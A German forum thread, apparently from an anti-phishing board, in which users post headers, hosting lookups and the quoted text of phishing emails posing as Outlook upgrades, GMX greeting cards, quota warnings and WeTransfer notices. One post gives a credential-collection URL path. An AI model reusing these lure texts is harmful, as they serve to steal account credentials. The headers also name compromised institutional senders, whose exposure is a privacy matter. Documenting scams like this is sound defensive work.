Mail Account Phishing

Druckbare Version

40 Beiträge dieses Themas auf einer Seite anzeigen

Und wieder GMX:

header:

01: Received: from mout.gmx.net ([212.227.15.18]) by mx-ha.gmx.net (mxgmx117
02:  [212.227.17.5]) with ESMTPS (Nemesis) ID: [ID filtered]
03:  <x>; Mon, 05 Nov 2018 xx:xx:xx +0100
04: Received: from mout.gmx.net ([212.227.15.18]) by mx-ha.gmx.net (mxgmx117
05:  [212.227.17.5]) with ESMTPS (Nemesis) ID: [ID filtered]
06:  <x>; Mon, 05 Nov 2018 xx:xx:xx +0100
07: Received: from [192.168.3.10] ([109.40.0.102]) by mail.gmx.com (mrgmx003
08:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
09:  <x>; Mon, 05 Nov 2018 xx:xx:xx +0100
10: Received: from [192.168.3.10] ([109.40.0.102]) by mail.gmx.com (mrgmx003
11:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
12:  <x>; Mon, 05 Nov 2018 xx:xx:xx +0100

IP: 109.40.0.102 ---> ip-109-40-0-102.web.vodafone.de

Zitat:

Hallo ,

Sophia hat für Sie eine Grußkarte hinterlegt.

Klicken Sie bitte hier, um die Karte anzusehen:

^whois:
IP: 217.160.0.106 ---> 217-160-0-106.elastic-ssl.ui-r.com

16.01.2019, 07:47
kjz1
Und wieder einmal dank gecracktem Account:

header:
```
01: Received: from mx1.dshs-koeln.de (mx1.dshs-koeln.de [194.213.2.32])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Wed, 16 Jan 2019 xx:xx:xx +0100 (CET)
04: Received: from unknown (HELO mail.dshs-koeln.de) ([10.2.15.32])
05:   by mgmt.mx1.dshs-koeln.de with ESMTP; 16 Jan 2019 xx:xx:xx +0100
06: Received: from VM-MBX3.dshsserver.dshs-koeln.de
07: ([fe80::7dd9:ad:c23f:53c9]) by VM-CASHT2.dshsserver.dshs-koeln.de ([::1]) with
08: 	mapi ID: [ID filtered]
09: Wed, 16 Jan 2019 xx:xx:xx +0100
```
Zitat:

Sehr geehrter E-Mail-Benutzer,

Wir migrieren alle E-Mail-Konten auf die neue Outlook Web App 2019.
Daher müssen alle aktiven Kontoinhaber dies überprüfen und sich
anmelden, damit das Upgrade und die Migration jetzt automatisch wirksam
werden. Dies geschieht, um die Sicherheit und Effizienz aufgrund
kürzlich eingegangener Spam-Mails zu verbessern.

Um Dienstunterbrechungen zu vermeiden, klicken Sie bitte auf den Link
unten, um Ihre Datensätze zu aktualisieren

Outlook Web App 2019

^whois:

und Melden Sie sich an, um weitere Spam-Mails zu migrieren und zu blockieren.
Wenn Sie Ihr Konto nicht innerhalb von 48 Stunden migrieren, wird Ihr
Konto vorübergehend gesperrt, sodass Sie keine E-Mails empfangen /
senden können.
ITS-Helpdesk
Informationstechnische Dienstleistungen

IP: 145.14.144.17 ---> Hostinger

Und wieder einmal ist 2 so blöd, die eigenen Phisher zu hosten und fällt immer wieder auf dieselbe Bande rein:

header:
01: Received: from mout-xforward.gmx.net ([82.165.159.13]) by mx-ha.gmx.net
02:  (mxgmx111 [212.227.17.5]) with ESMTPS (Nemesis) ID: [ID filtered]
03:  for <x>; Mon, 28 Jan 2019 xx:xx:xx +0100
04: Received: from [192.168.3.10] ([109.40.1.196]) by mail.gmx.com (mrgmx002
05:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
06:  <x>; Mon, 28 Jan 2019 xx:xx:xx +0100
IP: 109.40.1.196 ---> ip-109-40-1-196.web.vodafone.de

Zitat:

Hallo ,
Elena hat für Sie eine Grußkarte hinterlegt.

Klicken Sie bitte hier, um die Karte anzusehen:

^whois:
IP: 212.227.172.251 ---> 212-227-172-251.elastic-ssl.ui-r.com

Wieder einmal dummdreist nach Mugu-Art:

header:

01: Received: from smtpout.ac-paris.fr (smtpout.ac-paris.fr [195.98.241.136])
02: 	by xxxxx (Postfix) with ESMTP
03: 	for <x>; Mon,  4 Feb 2019 xx:xx:xx +0100 (CET)
04: Received: by smtpout.ac-paris.fr (Postfix, from userID: [ID filtered]
05: 	ID: [ID filtered]
06: Received: from gwantivirint.in.ac-paris.fr (unknown [192.168.51.85])
07: 	by smtpout.ac-paris.fr (Postfix) with ESMTP ID: [ID filtered]
08: 	Mon,  4 Feb 2019 xx:xx:xx +0000 (UTC)
09: Received: from gwantivirint.in.ac-paris.fr (unknown [127.0.0.1])
10: 	by IMSVA (Postfix) with ESMTP ID: [ID filtered]
11: 	Mon,  4 Feb 2019 xx:xx:xx +0100 (CET)
12: Received: from gwantivirint.in.ac-paris.fr (unknown [127.0.0.1])
13: 	by IMSVA (Postfix) with ESMTP ID: [ID filtered]
14: 	Mon,  4 Feb 2019 xx:xx:xx +0100 (CET)
15: Received: from mailout.ac-paris.fr (unknown [172.30.8.110])
16: 	by gwantivirint.in.ac-paris.fr (Postfix) with ESMTP;
17: 	Mon,  4 Feb 2019 xx:xx:xx +0100 (CET)
18: Received: from localhost (localhost [127.0.0.1])
19: 	by mailout.ac-paris.fr (Postfix) with ESMTP ID: [ID filtered]
20: 	Mon,  4 Feb 2019 xx:xx:xx +0100 (CET)
21: Received: from mailout.ac-paris.fr ([127.0.0.1])
22: 	by localhost (mailout.ac-paris.fr [127.0.0.1]) (amavisd-new, port 10024)
23: 	with ESMTP ID: [ID filtered]
24: Received: from ac-paris.fr (mta3.in.ac-paris.fr [192.168.230.20])
25: 	by mailout.ac-paris.fr (Postfix) with ESMTP ID: [ID filtered]
26: 	Mon,  4 Feb 2019 xx:xx:xx +0100 (CET)
27: Received: from [192.168.230.20] (Forwarded-For: 154.66.62.215) by
28:  mta3.in.ac-paris.fr (mshttpd); Mon, 04 Feb 2019 xx:xx:xx -0500

IP: 154.66.62.215 ---> Smile Telecoms Nigeria

gecrackt:

Zitat:

Sehr geehrter E-Mail-Benutzer,

Am Montag, dem 4. Februar 2019 4:55 Uhr aus London, Großbritannien, ist
ein Login von einem nicht erkannten Gerät in Ihr Webmail-Konto aufgetreten.

Warst du es? In diesem Fall ignorieren Sie bitte den Rest dieser E-Mail.

Wenn Sie nicht waren, folgen Sie bitte den nachstehenden Links, um Ihr
E-Mail-Konto sicher zu halten und die erforderlichen Informationen
anzugeben, damit Ihr Konto AKTIV bleibt.

^whois:

Vielen Dank,
Webmail-Kontodienste

15.03.2019, 09:41
kjz1
Und wieder mal Dumm-Phishing nach Mugu-Art:

header:
```
01: Received: from orion2523.startdedicated.de (orion2523.startdedicated.de
02: [85.25.200.183])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Fri, 15 Mar 2019 xx:xx:xx +0100 (CET)
05: Received: from [192.168.254.11] (unknown [93.182.104.44])
06: 	by orion2523.startdedicated.de (Postfix) with ESMTPSA ID: [ID filtered]
07: 	Fri, 15 Mar 2019 xx:xx:xx +0100 (CET)
```
Zitat:

UNGEWÖHNLICH EINLOGGEN AKTIVITÄT
Sehr geehrter Outlook-E-Mail-Benutzer,
Wir haben einen nicht autorisierten Anmeldeversuch in Ihre Mailbox
festgestellt. Wir empfehlen Ihnen daher, Ihr Konto umgehend zu bestätigen.
Klicken Sie bitte HIER, um zu verhindern, dass Ihr Konto deaktiviert
wird. Vielen Dank, dass Sie uns dabei geholfen haben, Sie zu schützen.
Mit freundlichen Grüßen,
IT-Helpdesk
ISERV Manager Outlook WebApp!
Fallnummer: 894162/2019
Führung,
© Copyright 2019

^whois:

header:
01: Received: from smtp2.gmtel.net (unknown [207.199.252.3])
02: 	by x (Postfix) with ESMTP ID: [ID filtered]
03: 	for <x>; Mon, 18 Mar 2019 xx:xx:xx +0100 (CET)
04: Received: from [0.2.193.42] (unknown [89.40.118.167])
05: 	(Authenticated sender: mitchell)
06: 	by smtp2.gmtel.net (Postfix) with ESMTPA ID: [ID filtered]
07: 	for <x>; Sun, 17 Mar 2019 xx:xx:xx -0500 (CDT)
Angehängtest HTML-Dokument welches zu einem "verschlüsselten" PDF führt.
Um das PDF zu entschlüsseln benötigt man die eigene E-Mail-Adresse und das passende Kennwort.

Gesammelt wird dann hier:
^whois:/Adobe/data.php?email=fuckyou%40scammer.com&password=diescammerdie!

Phishing über Wetransfer

header:

01: from mc-webde04.server.lan ([87.106.202.10]) by mx-ha.web.de (mxweb113
02: 	[212.227.17.8]) with ESMTP (Nemesis) ID: [ID filtered]
03: X-Envelope-From: <noreply [at] wetransfer.com>
04: X-Envelope-To: <xxxxxxxxxxxxxxx>
05: X-Delivery-Time: 1552897738
06: X-UID: [UID filtered]
07: X-RZG-Expurgate: suspect/normal
08: X-RZG-Expurgate-ID: [ID filtered]
09: X-Strato-MessageType: email
10: X-RZG-CLASS-ID: [ID filtered]
11: Received-SPF: fail (strato.com: domain wetransfer.com does not designate 109.248.200.7
12: 	as permitted sender) client-ip=109.248.200.7; helo="depho24.ru";
13: 	envelope-from="noreply [at] wetransfer.com"; receiver=smtpin.rzone.de; identity=mailfrom;
14: Received: from imap.rzone.de [81.169.145.103] by mc-webde04.server.lan with
15: 	IMAP (fetchmail-6.3.9) for <xxxxxxxx> (single-drop); Mon, 18 Mar 2019 xx:xx:xx +0100
16: 	(CET)
17: Received: from depho24.ru ([109.248.200.7]) by smtpin.rzone.de (RZmta 44.16 OK)
18: 	with ESMTPS ID: [ID filtered]
19: Received: from nkromeo by depho24.ru with local (Exim 4.88) (envelope-from
20: 	<poor [at] spamvictim.tld>) ID: [ID filtered]
21: To: xxxxxxx
22: Subject: [EMAIL="info [at] garpet.de"]info [at] garpet.de[/EMAIL] hat
23: 	dir uber WeTransfer Dateien gesendet
24: X-PHP-Originating-Script: 542:snd.php
25: Date: Mon, 18 Mar 2019 xx:xx:xx +0300
26: From: WeTransfer <noreply [at] wetransfer.com>
27: Message-ID: [ID filtered]
28: X-Mailer: Leaf PHPMailer 2.7 (leafmailer.pw)
29: MIME-Version: 1.0
30: Content-Type: text/html; charset=
31: Content-Transfer-Encoding: quoted-printable
32: X-UI-Application: 2:movetofolder=Mg==,name=aW5mb0BsaXBwZS1ldmVudC5kZQ==
33: Envelope-To: <xxxxxxxxxx>

1 Datei
BONIFICO BRT.pdf

Zitat:

guten tag
Ich habe die Banküberweisung geschickt. Bitte überprüfen Sie, ob die Kontodaten korrekt sind. Ich habe das gesamte Geld für das Produkt überwiesen.
Vielen Dank, ich freue mich darauf, das Produkt so schnell wie möglich zu erreichen

Ob sich hinter dem Wetransfer Link wirklich eine pdf befindet, wage ich zu bezweifeln.

27.03.2019, 10:12
kjz1
Wieder einmal dummdreist nach Mugu-Art:

header:
```
01: Received: from vps.uniodontomao.com.br (vps.uniodontomao.com.br
02: [192.185.217.65])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Wed, 27 Mar 2019 xx:xx:xx +0100 (CET)
05: Received: from [93.182.104.122] (port=6530 helo=[192.168.254.11])
06: 	by vps.uniodontomao.com.br with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
07: 	(Exim 4.91)
08: 	(envelope-from <noreply [at] outlook.com>)
09: 	ID: [ID filtered]
10: X-Authenticated-Sender: vps.uniodontomao.com.br: cpd4 [at] uniodontomao.com.br
```
gecrackt:

Zitat:

An alle Mitarbeiter \ Mitarbeiter

Beachten Sie dieses wichtige Update, dass unsere neue E-Mail mit einem
neuen Messagingsystem von Owa / Outlook verbessert wurde, das auch eine
schnellere Verwendung von E-Mails, freigegebenen Kalendern,
Webdokumenten und der neuen Antispamversion 2019 umfasst.

Bitte verwenden Sie den untenstehenden Link, um Ihr Update für unsere
neue, verbesserte Owa / Outlook-Webmail abzuschließen.

Klicken Sie zum Aktualisieren auf Outlook Web Access

Grüße,

IT Service Desk-Support.

^whois:
29.03.2019, 08:29
kjz1
Und wieder der dummdreist Mugu, da die Müllkiste in Brasilien noch immer offen ist:

header:
```
01: Received: from vps.uniodontomao.com.br (vps.uniodontomao.com.br
02: [192.185.217.65])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Fri, 29 Mar 2019 xx:xx:xx +0100 (CET)
05: Received: from [93.182.110.154] (port=25888 helo=[192.168.254.11])
06: 	by vps.uniodontomao.com.br with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
07: 	(Exim 4.91)
08: 	(envelope-from <noreply [at] outlook.com>)
09: 	ID: [ID filtered]
10: X-Get-Message-Sender-Via: vps.uniodontomao.com.br: authenticated_id:
11: cpd4 [at] uniodontomao.com.br
12: X-Authenticated-Sender: vps.uniodontomao.com.br: cpd4 [at] uniodontomao.com.br
```
Zitat:

An alle Mitarbeiter \ Mitarbeiter
Beachten Sie dieses wichtige Update, dass unsere neue E-Mail mit einem
neuen Messagingsystem von Owa / Outlook verbessert wurde, das auch eine
schnellere Verwendung von E-Mails, freigegebenen Kalendern,
Webdokumenten und der neuen Antispamversion 2019 umfasst.
Bitte verwenden Sie den untenstehenden Link, um Ihr Update für unsere
neue, verbesserte Owa / Outlook-Webmail abzuschließen.
Klicken Sie zum Aktualisieren auf Outlook Web Access
Grüße,
IT-Helpdesk
ISERV Manager Outlook WebApp!
Fallnummer: 894162/2019
Führung,
© Copyright 2019

^whois:
29.03.2019, 12:55
schara56

Liste der Anhänge anzeigen (Anzahl: 1)

*kopfschüttel*

"AUSBLICK EMAIL UPGRADE RICHTIG FÜLLEN"
30.03.2019, 12:34
kjz1

Tja, Google Translate ist nicht immer dein Freund...
01.04.2019, 08:10
kjz1
Der völlig merkbefreite Mugu-Idiot macht weiter und die Dreckskiste in Brasilien ist immer noch offen:

header:
```
01: Received: from vps.uniodontomao.com.br (vps.uniodontomao.com.br
02: [192.185.217.65])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Mon,  1 Apr 2019 xx:xx:xx +0200 (CEST)
05: Received: from [93.182.106.77] (port=24452 helo=[192.168.254.11])
06: 	by vps.uniodontomao.com.br with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
07: 	(Exim 4.91)
08: 	(envelope-from <noreply [at] outlook.com>)
09: 	ID: [ID filtered]
10: Subject: AUSBLICK BENACHRICHTIGUNG
```
Zitat:

AUSBLICK OWA SECURE WEB APP
An alle Mitarbeiter \ Mitarbeiter
Beachten Sie dieses wichtige Update, dass unsere neue E-Mail mit einem
neuen Messagingsystem von Owa / Outlook verbessert wurde, das auch eine
schnellere Verwendung von E-Mails, freigegebenen Kalendern,
Webdokumenten und der neuen Antispamversion 2019 umfasst.
Bitte verwenden Sie den untenstehenden Link, um Ihr Update für unsere
neue, verbesserte Owa / Outlook-Webmail abzuschließen.
Klicken Sie zum Aktualisieren auf Outlook Web Access
Grüße,
IT-Helpdesk
ISERV Manager Outlook WebApp!
Fallnummer: 874152/2019
Führung,
© Copyright 2019

^whois:

Wieder mal ein Mugu unterwegs:

header:
01: Received: from mail01-020.noris.net (mail01-020.noris.net [213.95.71.20])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Mon,  6 May 2019 xx:xx:xx +0200 (CEST)
04: Received: from gw.elkb.noris.net ([213.95.2.178] helo=mbx2rp.elkb.noris.de)
05: 	by mail01.noris.net with esmtps (TLS1.2:ECDHE_RSA_AES_256_CBC_SHA1:256)
06: 	(Exim)
07: 	(envelope-from <martin.baumer.gkv-r [at] elkb.de>)
08: 	ID: [ID filtered]
09: Received: from MBX2RP.elkb.noris.de (10.41.34.135) by mbx2rp.elkb.noris.de
10:  (10.41.34.135) with Microsoft SMTP Server (TLS) ID: [ID filtered]
11:  2019 xx:xx:xx +0200
12: Received: from MBX2RP.elkb.noris.de ([fe80::e585:c726:e0be:663e]) by
13:  mbx2rp.elkb.noris.de ([fe80::e585:c726:e0be:663e%12]) with mapi id
14:  15.00.1395.000; Mon, 6 May 2019 xx:xx:xx +0200
gecrackt:

Zitat:

x-originating-ip: [154.118.122.99] ---> Spectranet, Nigeria

Zitat:

AUSBLICK OWA SECURE WEB APP

An alle Mitarbeiter \ Mitarbeiter

Denken Sie an dieses wichtige Update, dass unsere neue E-Mail um ein
neues Owa / Outlook-Nachrichtensystem erweitert wurde, einschließlich
der schnelleren Verwendung von E-Mails, gemeinsamen Kalendern,
Webdokumenten und der neuen Antispamversion 2019.

Bitte verwenden Sie den untenstehenden Link, um Ihr Update für unser
neues, verbessertes Owa / Outlook-Webmail abzuschließen.

Klicken Sie zum Aktualisieren auf Outlook Web
Access

^whois:

gruß

IT-Helpdesk
ISERV Manager Outlook WebApp!
Dateinummer: 894162/2019
Führung
© Copyright 2019

Leider habe ich gar keinen Ausblick...

14.05.2019, 08:20
kjz1
header:
```
01: Received: from mail-outd.mail.t-online.hu (mail-outd.mail.t-online.hu
02: [195.228.240.57]) by xxxxx (Postfix) with ESMTP; Tue, 14 May 2019 xx:xx:xx +0200 (CEST)
03: Received: from maxwm03a.mail.t-online.hu (unknown [195.228.240.101])
04: 	by mail-outd.mail.t-online.hu (Postfix) with ESMTP ID: [ID filtered]
05: 	Tue, 14 May 2019 xx:xx:xx +0200 (CEST)
06: Received: from 81-171-58-173.ipvanish.com (81-171-58-173.ipvanish.com
07:  [81.171.58.173]) by webmail.telekom.hu (Horde Framework) with HTTP; Tue, 14
08:  May 2019 xx:xx:xx +0200
```
gecrackt:

Zitat:

Ihr Postfach hat das Limit von 20 GB überschritten. Infolgedessen
haben Sie möglicherweise Probleme beim Senden oder Empfangen von
Nachrichten bis zur erneuten Bestätigung.
Um die dauerhafte Deaktivierung Ihres E-Mail-Kontos zu verhindern
und die Speicherkapazität und die Funktionen Ihres Posteingangs zu
erhöhen, klicken Sie HIER[1], um ein Upgrade durchzuführen
Wir entschuldigen uns für die Unannehmlichkeiten und bedanken uns
für Ihr Verständnis.
Vielen Dank,
Systemadministrator / Update

^whois:
IP: 104.223.65.163 ---> mail10.bhvinfo.online
04.06.2019, 10:50
kjz1
Und wieder einmal Dumm-Phishing nach Mugu-Art:

header:
```
01: Received: from fm-koto.sci.u-hyogo.ac.jp (fm-koto.sci.u-hyogo.ac.jp
02: [150.12.1.99])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Tue,  4 Jun 2019 xx:xx:xx +0200 (CEST)
05: Received: from [199.247.22.15] (199.247.22.15.vultr.com [199.247.22.15])
06: 	by fm-koto.sci.u-hyogo.ac.jp  with ESMTP ID: [ID filtered]
07: 	(version=TLSv1.0 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
08: 	Tue, 4 Jun 2019 xx:xx:xx +0900
```
gecrackt:

Zitat:

Sehr geehrter Angestellter, Mitarbeiter.

Wir migrieren das gesamte E-Mail-Konto des Personals in das Outlook
2019-Büro-Webmail des Personals. Alle aktiven Mitarbeiter und
Mitarbeiter müssen dies überprüfen und sich anmelden, damit dieses
Upgrade und die Migration jetzt wirksam werden.
Dies geschieht, um die Sicherheit und Effizienz aufgrund kürzlich
eingegangener Spam-Mails zu verbessern.

Bitte alle Mitarbeiter und Mitarbeiter klicken Sie hier. Wechseln Sie zu
Outlook Webmail 2019 für Mitarbeiter

Beachten Sie, dass das Umschalten auf Outlook für alle E-Mail-Benutzer
dieses Dienstes gilt.
Wir werden ohne Bestätigung innerhalb der nächsten 24 Stunden ungeprüfte
und inaktive E-Mail-Konten deaktivieren und löschen.
BITTE WÄHREND DES VORAUSRUFEN.

Grüße,
Externer E-Mail-Administrator
Outlook Service für Mitarbeiter und Internet Service
Copyright2019.

^whois:
04.06.2019, 11:55
Arthur

Sollten mal ein besseres Übersetzungsprogramm einsetzen:

Zitat:

BITTE WÄHREND DES VORAUSRUFEN.

:confused:
05.06.2019, 14:28
kjz1

Ja, das ist Dumm-Phish. Allerdings werden die Ganoven immer besser. Neulich gab es hier einen Phish, da hatte man das Logo der Institution eingefügt, auch die Anmeldeseite nachgebaut und sogar eine ähnliche Subdomain angelegt. Also quasi schon 'Spear-Phishing'.

header:
01: Received: from delivery.mailspamprotection.com (delivery.mailspamprotection.com
02: 	[198.143.161.30])
03: 	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
04: 	(No client certificate requested)
05: 	by x (Postfix) with ESMTPS ID: [ID filtered]
06: 	for <x>; Tue, 11 Jun 2019 xx:xx:xx +0200 (CEST)
07: Received: from c18923.sgvps.net ([77.104.143.81])
08: 	by se7.mailspamprotection.com with esmtps (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256)
09: 	(Exim 4.89)
10: 	(envelope-from <noreply [at] cc.mail-server.com>)
11: 	ID: [ID filtered]
12: 	for x; Mon, 10 Jun 2019 xx:xx:xx -0500
13: Received: from ip77.ip-51-75-155.eu ([51.75.155.77]:50415
14: 	helo=cc.mail-server.com)
15: 	by c18923.sgvps.net with esmtpsa (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256)
16: 	(Exim 4.90devstart_546-794992d-XX)
17: 	(envelope-from <noreply [at] cc.mail-server.com>)
18: 	ID: [ID filtered]
19: 	for x; Mon, 10 Jun 2019 xx:xx:xx -0500
Zitat:

Mail Server

*Verify your account*

Hello x,

As part of our security measures, we need your help resolving an issue with your
account.
We have temporarily limited the complete usage of your account until the issue
is resolved.

Please log in to your account and verify your account.

Continue ^whois:/?email=x>

To opt out or change where you receive security notifications, click here
^whois:/SecurityNotifications/Update
Thanks,
x
(C) 2019

11.06.2019, 15:46
schara56
header:
```
01: Received: from mail.chadingit.com (chadingit.com [104.128.69.15])
02: 	(using TLSv1 with cipher ADH-AES256-SHA (256/256 bits))
03: 	(No client certificate requested)
04: 	by x (Postfix) with ESMTPS ID: [ID filtered]
05: 	for <x>; Tue, 11 Jun 2019 xx:xx:xx +0200 (CEST)
```
Zitat:

Server Message

Dear Our record indicates that you recently made a request to shutdown your email (). And this request will be processed shortly. If this request was made accidentally and you have no knowledge of it, you are advised to cancel the request now

Cancel Deactivation

Der Phish liegt dann hier:
^whois:/wp-content/plugins/download-manager/admin/fd/update/?email=
18.06.2019, 15:46
kjz1
GMX account phishing, als GMX Grusskarte getarnt:

header:
```
01: Received: from [10.241.50.181] ([2.247.242.181]) by mail.gmx.com
02: 	(mrgmx003
03:  [212.227.17.190]) with ESMTPSA (Nemesis) ID: [ID filtered]
04:  <x>; Tue, 18 Jun 2019 xx:xx:xx +0200
```
Zitat:

Hallo Hallo,Hello,
Marie Meuschke hat für Sie eine Grußkarte hinterlegt. .
Klicken Sie bitte hier, um die Karte anzusehen:

^whois:
IP: 209.58.165.102 ---> mop103.hostmop.com/LeaseWeb Singapur

Tja, immer wieder dieselben total merkbefreiten Schwarzhüte. Warum wohl nur...
18.06.2019, 16:05
Arthur

Zitat:

Zitat von kjz1

^whois:
Tja, immer wieder dieselben total merkbefreiten Schwarzhüte. Warum wohl nur...

Zitat:

Firefox hat diese Seite blockiert, da sie versuchen könnte, Sie mittels Tricks dazu zu bringen, Software zu installieren oder persönliche Informationen wie Passwörter oder Kreditkarteninformationen preiszugeben.

dumm gelaufen :cool:

neuer Versuch:

header:
01: Received: from mail-outd.mail.t-online.hu (mail-outd.mail.t-online.hu
02: [195.228.240.63])
03: 	by xxxxx (Postfix) with ESMTP;
04: 	Mon,  1 Jul 2019 xx:xx:xx +0200 (CEST)
05: Received: from maxwm03a.mail.t-online.hu (unknown [195.228.240.101])
06: 	by mail-outd.mail.t-online.hu (Postfix) with ESMTP ID: [ID filtered]
07: 	Mon,  1 Jul 2019 xx:xx:xx +0200 (CEST)
08: Received: from r-192-46-234-77.consumer-pool.prcdn.net
09:  (r-192-46-234-77.consumer-pool.prcdn.net [77.234.46.192]) by
10:  webmail.telekom.hu (Horde Framework) with HTTP; Mon, 01 Jul 2019 xx:xx:xx +0200
gecrackt:

Zitat:

Ihr Postfach hat das Limit von 20 GB überschritten. Infolgedessen
haben Sie möglicherweise Probleme beim Senden oder Empfangen von
Nachrichten bis zur erneuten Bestätigung.

Um die dauerhafte Deaktivierung Ihres E-Mail-Kontos zu verhindern
und die Speicherkapazität und die Funktionen Ihres Posteingangs zu
erhöhen, klicken Sie unter link, um ein Upgrade durchzuführen

^whois:

Wir entschuldigen uns für die Unannehmlichkeiten und bedanken uns
für Ihr Verständnis.

Vielen Dank,
Systemadministrator / Update

04.07.2019, 13:30
kjz1
Mal wieder dummdreist nach Mugu-Art:

header:
```
01: Received: from smtp.eltele.no (mail1.trollnet.no [213.161.174.26])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Thu,  4 Jul 2019 xx:xx:xx +0200 (CEST)
04: Received: from [95.179.252.22] (95.179.252.22.vultr.com [95.179.252.22])
05: 	(user=kjetil.bernhard.thomassen [at] kraftlaget.no mech=LOGIN bits=0)
06: 	by smtp.eltele.no  with ESMTP ID: [ID filtered]
07: 	(version=TLSv1.0 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
08: 	Thu, 4 Jul 2019 xx:xx:xx +0200
```
gecrackt:

Zitat:

Ungewöhnliche Anmeldeaktivität
Wir haben etwas Ungewöhnliches bei der kürzlich erfolgten Anmeldung in
diesem Konto festgestellt. Um Ihre Sicherheit zu gewährleisten, mussten
wir eine zusätzliche Sicherheitsanforderung stellen und Ihr Konto
aktualisieren. Wir möchten Sie darauf hinweisen, dass Ihr Konto
deaktiviert wird, wenn Sie Ihr Konto nicht aktualisieren. Um Ihr Konto
von unserer Deaktivierungsliste zu entfernen, KLICKEN Sie bitte HIER, um
Ihr Konto zu aktualisieren
Hinweis: Sie müssen diese Nachricht zuerst in Ihren Posteingang
verschieben, damit Sie Ihr Konto aktualisieren können
Vielen Dank,
Verwaltung.
Grüße,
Externer E-Mail-Administrator,
Outlook Service für Mitarbeiter und Internet Service
Copyright 2019.

^whois:

Auch dies müffelt nach Phishing:

header:

01: Received: from smtp26.services.sfr.fr ([93.17.128.2]) by mx-ha.gmx.net
02:  (mxgmx101 [212.227.17.5]) with ESMTPS (Nemesis) ID: [ID filtered]
03:  for <x>; Mon, 22 Jul 2019 xx:xx:xx +0200
04: Received: from [127.0.0.1] (unknown [202.186.83.28])
05: 	by msfrf2605.sfr.fr (SMTP Server) with ESMTP ID: [ID filtered]
06: 	for <x>; Mon, 22 Jul 2019 xx:xx:xx +0200 (CEST)
07: Received: from [127.0.0.1] (unknown [202.186.83.28])	(using TLSv1
08: 	with cipher ECDHE-RSA-AES256-SHA (256/256 bits))	(No client certificate
09: requested)	(Authenticated sender: jssantos [at] sfr.fr)
10: 	by msfrf2605.sfr.fr (SMTP Server) with ESMTPSA;
11: 	Mon, 22 Jul 2019 xx:xx:xx +0200 (CEST)
12: Subject: Uberweisung erfolgt

gecrackt:

Zitat:

Der Benutzer hat eine Danische ubersetzung gemacht auf Ihre Brieftasche
Sie mussen sich anmelden, um zu erhalten.

^whois:

Und wieder ein gecrackter Uni-Account:

header:
01: Received: from nospam.anselm.edu (nospam.anselm.edu [207.89.61.79])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Mon,  5 Aug 2019 xx:xx:xx +0200 (CEST)
04: Received: from nospam.anselm.edu (127.0.0.1) ID: [ID filtered]
05: <x>; Mon, 5 Aug 2019 xx:xx:xx -0400 (envelope-from
06: <zandary [at] Anselm.Edu>)
07: Received: from EXCAS1.anselm.edu ([10.3.1.115])
08: 	by nospam.anselm.edu ([207.89.61.79]) (SonicWALL 9.0.6.2473 )
09: 	with ESMTPS (version=TLSv1 cipher=ECDHE-RSA-AES256-SHA bits=256/256)
10: 	ID: [ID filtered]
11: Received: from EXMAIL1.anselm.edu ([169.254.1.87]) by EXCAS1.anselm.edu
12:  ([::1]) with mapi ID: [ID filtered]
gecrackt:

Zitat:

TIMECARD-GENEHMIGUNG - LETZTE ERINNERUNG: SIE HABEN DEN ERSTEN IGNORIERT.

Bitte überprüfen Sie Ihre Zeitkarte für die aktuelle Zahlungsperiode.
Alle Mitarbeiter müssen ihre Zeitkarte überprüfen und genehmigen, um
eine angemessene Zahlung zu gewährleisten. Gemäß den Richtlinien sind
die Mitarbeiter dafür verantwortlich, alle Fehler und / oder
Auslassungen auf jeder Zeitkarte an oder vor der Woche der
Lohnabrechnung zu melden.

Öffnen Sie Ihren Browser unter

^whois:

um Ihre Zeitkarte zu überprüfen und zu genehmigen.

TIMECARD ITHELP

2019

14.08.2019, 08:18
schara56
header:
```
01: Received: from mail.szimre.hu (mail.szimre.hu [178.48.4.173])
02: 	(using TLSv1 with cipher AES128-SHA (128/128 bits))
03: 	(No client certificate requested)
04: 	by x (Postfix) with ESMTPS ID: [ID filtered]
05: 	for <x>; Wed, 14 Aug 2019 xx:xx:xx +0200 (CEST)
06: Received: from [23.227.199.12] (192.168.60.253) by mail.szimre.hu
07:  (192.168.60.241) with Microsoft SMTP Server (TLS) ID: [ID filtered]
08:  2019 xx:xx:xx +0200
```
Zitat:

Zitat von scammer

NOTICE: x

Our Server has prevented the delivery of 8 new emails to your inbox as of 08/06/2019 8:08:04 a.m. because it identified these messages as spam. You can review these and choose what happens to them so as not to miss out on important messages. You can also get more information about quarantined messages by going to the Security and Compliance Portal.
Emails will be deleted automatically after 7 days.

VIEW MAILS

^whois:/2019/update11/index.php?email=x (^whois:192.185.52.126)

Das Saint Anselm College scheint wohl ein problem mit der IT-Sicherheit zu haben:

header:
01: Received: from nospam.anselm.edu (nospam.anselm.edu [207.89.61.79])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Thu, 15 Aug 2019 xx:xx:xx +0200 (CEST)
04: Received: from nospam.anselm.edu (127.0.0.1) ID: [ID filtered]
05: <x>; Thu, 15 Aug 2019 xx:xx:xx -0400
06: (envelope-from <mekelly [at] Anselm.Edu>)
07: Received: from EXCAS2.anselm.edu ([10.3.1.116])
08: 	by nospam.anselm.edu ([207.89.61.79]) (SonicWALL 9.0.6.2473 )
